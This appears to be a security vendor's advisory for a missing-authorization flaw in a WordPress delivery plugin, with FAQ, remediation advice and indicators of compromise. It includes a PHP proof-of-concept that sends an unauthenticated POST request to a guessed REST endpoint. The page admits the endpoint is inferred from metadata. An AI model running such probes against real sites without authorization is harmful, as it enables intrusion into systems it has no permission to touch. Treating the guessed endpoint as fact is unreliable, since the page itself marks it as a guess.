What is CVE-2026-65504?

CVE-2026-65504 is a missing authorization vulnerability in the BOX NOW Delivery Croatia plugin for WordPress, affecting versions up to and including 3.3.0. It allows unauthenticated attackers to perform an unauthorized action due to a missing capability check on a function.

How does the missing authorization vulnerability work?

The plugin fails to verify that the user has the required permissions before executing a specific function. This function is likely exposed via a REST API endpoint or an admin-post/AJAX hook, and without a capability check, any unauthenticated user can trigger it by sending a crafted HTTP request.

Who is affected by this vulnerability?

All WordPress sites running the BOX NOW Delivery Croatia plugin version 3.3.0 or earlier are affected. If you have the plugin installed, you are at risk until you update to a patched version.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If it is 3.3.0 or lower, your site is vulnerable. You can also use security scanners that detect known CVEs, but manual version checking is the most direct method.

What is the CVSS score and what does it mean?

The CVSS score is 5.3, which is rated as Medium severity. This means the vulnerability has a moderate impact, primarily affecting integrity with low impact to confidentiality and availability. An attacker can perform unauthorized actions but may have limited control over the outcome.

What kind of unauthorized actions can an attacker perform?

The exact action is not disclosed, but based on the plugin’s functionality, it could include tracking parcels, updating order statuses, or modifying plugin settings. The impact is limited to integrity, meaning data can be altered but not necessarily stolen or deleted.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC sends a POST request to a likely vulnerable endpoint, such as `/wp-json/box-now-delivery-croatia/v1/track`, with a tracking ID parameter. Since the endpoint lacks authorization checks, the request is processed without authentication, proving that an unauthenticated attacker can trigger the action.

What is the root cause of this vulnerability?

The root cause is the absence of a capability check, classified as CWE-862 Missing Authorization. The vulnerable function does not call WordPress functions like `current_user_can()` or `is_user_logged_in()` before executing, allowing unauthenticated access.

How can I fix or mitigate this vulnerability?

Update the plugin to a version newer than 3.3.0 if a patched version is available. If no update exists, you can temporarily disable the plugin or add a custom code snippet that adds capability checks to the vulnerable function. Always ensure your WordPress core and other plugins are up to date.

Is there a risk of privilege escalation or remote code execution?

No, this vulnerability does not directly lead to privilege escalation or remote code execution. The impact is limited to unauthorized actions that affect data integrity. However, it could be used as a stepping stone for further attacks if combined with other vulnerabilities.

What should I do if I suspect my site has been exploited?

Immediately update the plugin to a patched version if available. Review your site’s logs for unusual requests to the plugin’s endpoints. Consider resetting any modified data and run a security scan to check for other compromises. If you need assistance, consult a security professional.

Are there any indicators of compromise (IOCs) to look for?

Look for unexpected POST requests to paths containing ‘box-now-delivery-croatia’ in your server logs. Also, monitor for changes to order statuses or plugin settings that you did not initiate. The absence of authentication in these requests is a key indicator.

Published : August 9, 2026

CVE-2026-65504: BOX NOW Delivery Croatia <= 3.3.0 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-65504

Plugin box-now-delivery-croatia

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 3.3.0

Patched Version —

Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65504 (metadata-based): BOX NOW Delivery Croatia plugin, versions 3.3.0 and earlier, contains a missing authorization vulnerability. The plugin fails to check if a user has the required capabilities before performing a specific action. This allows an unauthenticated attacker to trigger that action. The CVSS score is 5.3, indicating a medium severity issue with a moderate impact to integrity.

Root Cause: The root cause is a missing capability check on a function, as classified by CWE-862 Missing Authorization. A function that handles a sensitive action, likely registered as a WordPress REST API endpoint or an admin-post/AJAX hook, does not call the appropriate WordPress capability function like `current_user_can()` or `is_user_logged_in()`. This is an inferred conclusion based on the CWE classification, the vulnerability description, and standard WordPress plugin development practices. Since no source code diff is available for analysis, this classification is based on the provided metadata.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable endpoint. The attacker does not need any login credentials or session tokens. The attack vector is over the network via a crafted request. The specific action and endpoint are not disclosed in the metadata, but they are likely reachable through the plugin’s API paths. Common patterns in WordPress plugins include custom REST API routes like `/wp-json/box-now-delivery-croatia/v1/…` or an admin-post handler like `admin-post.php?action=box_now_delivery_croatia_action`. The attacker would send a POST request to this endpoint with the necessary parameters to trigger the unauthorized action.

Remediation: The fix requires adding a capability check to the vulnerable function. The function must verify that the current request is either authenticated with the appropriate user role or includes a valid nonce. The developers need to implement a check using `current_user_can()`, `is_user_logged_in()`, `check_ajax_referer()`, or a combination of these, ensuring that unauthenticated users cannot invoke the action. The patch should be applied to the plugin’s core logic, validating user permissions before any side effects are executed.

Impact: Successful exploitation allows an unauthenticated attacker to perform a specific unauthorized action. The integrity impact is low, meaning the attacker can likely modify data, but has limited control over the scope or content. This could include actions such as tracking a parcel, updating an order status, or altering plugin settings, depending on the exposed function. The vulnerability does not directly lead to privilege escalation or remote code execution if the logged-out state is properly maintained in the patched version, but it undermines the plugin’s security and could be a stepping stone for further attacks.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65504 - BOX NOW Delivery Croatia <= 3.3.0 - Missing Authorization

$target_url = 'http://example.com/wp-json/box-now-delivery-croatia/v1/track'; // Adjust endpoint based on plugin

// Set up cURL to send a POST request to the vulnerable endpoint
$ch = curl_init($target_url);

// Prepare the data for the request. The exact parameters are unknown,
// but we assume a tracking ID or similar identifier is required.
$post_data = array(
    'tracking_id' => 'test_parcel_id_123'
);

// Configure cURL options
curl_setopt_array($ch, array(
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HTTPHEADER => array(
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Atomic Edge Security Scanner'
    ),
));

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent. Response:n";
    echo $response . "n";
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Code: " . $http_code . "n";
    if ($http_code == 200 || $http_code == 204) {
        echo "Potential vulnerability confirmed: The endpoint responded without authentication.n";
    }
}

// Close the cURL session
curl_close($ch);

// Note: This PoC targets a guessed REST endpoint. The actual vulnerable endpoint
// could be an AJAX action like admin-ajax.php?action=box_now_track or a different route.
// Replace $target_url and the request body with the actual endpoint and parameters
// identified from the plugin code to test the vulnerability.
?>

Frequently Asked Questions

What is CVE-2026-65504?
Vulnerability overview
CVE-2026-65504 is a missing authorization vulnerability in the BOX NOW Delivery Croatia plugin for WordPress, affecting versions up to and including 3.3.0. It allows unauthenticated attackers to perform an unauthorized action due to a missing capability check on a function.
How does the missing authorization vulnerability work?
Technical explanation
The plugin fails to verify that the user has the required permissions before executing a specific function. This function is likely exposed via a REST API endpoint or an admin-post/AJAX hook, and without a capability check, any unauthenticated user can trigger it by sending a crafted HTTP request.
Who is affected by this vulnerability?
Affected users
All WordPress sites running the BOX NOW Delivery Croatia plugin version 3.3.0 or earlier are affected. If you have the plugin installed, you are at risk until you update to a patched version.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If it is 3.3.0 or lower, your site is vulnerable. You can also use security scanners that detect known CVEs, but manual version checking is the most direct method.
What is the CVSS score and what does it mean?
Severity interpretation
The CVSS score is 5.3, which is rated as Medium severity. This means the vulnerability has a moderate impact, primarily affecting integrity with low impact to confidentiality and availability. An attacker can perform unauthorized actions but may have limited control over the outcome.
What kind of unauthorized actions can an attacker perform?
Potential impact
The exact action is not disclosed, but based on the plugin’s functionality, it could include tracking parcels, updating order statuses, or modifying plugin settings. The impact is limited to integrity, meaning data can be altered but not necessarily stolen or deleted.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC sends a POST request to a likely vulnerable endpoint, such as `/wp-json/box-now-delivery-croatia/v1/track`, with a tracking ID parameter. Since the endpoint lacks authorization checks, the request is processed without authentication, proving that an unauthenticated attacker can trigger the action.
What is the root cause of this vulnerability?
Underlying issue
The root cause is the absence of a capability check, classified as CWE-862 Missing Authorization. The vulnerable function does not call WordPress functions like `current_user_can()` or `is_user_logged_in()` before executing, allowing unauthenticated access.
How can I fix or mitigate this vulnerability?
Remediation steps
Update the plugin to a version newer than 3.3.0 if a patched version is available. If no update exists, you can temporarily disable the plugin or add a custom code snippet that adds capability checks to the vulnerable function. Always ensure your WordPress core and other plugins are up to date.
Is there a risk of privilege escalation or remote code execution?
Risk assessment
No, this vulnerability does not directly lead to privilege escalation or remote code execution. The impact is limited to unauthorized actions that affect data integrity. However, it could be used as a stepping stone for further attacks if combined with other vulnerabilities.
What should I do if I suspect my site has been exploited?
Incident response
Immediately update the plugin to a patched version if available. Review your site’s logs for unusual requests to the plugin’s endpoints. Consider resetting any modified data and run a security scan to check for other compromises. If you need assistance, consult a security professional.
Are there any indicators of compromise (IOCs) to look for?
Detection hints
Look for unexpected POST requests to paths containing ‘box-now-delivery-croatia’ in your server logs. Also, monitor for changes to order statuses or plugin settings that you did not initiate. The absence of authentication in these requests is a key indicator.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started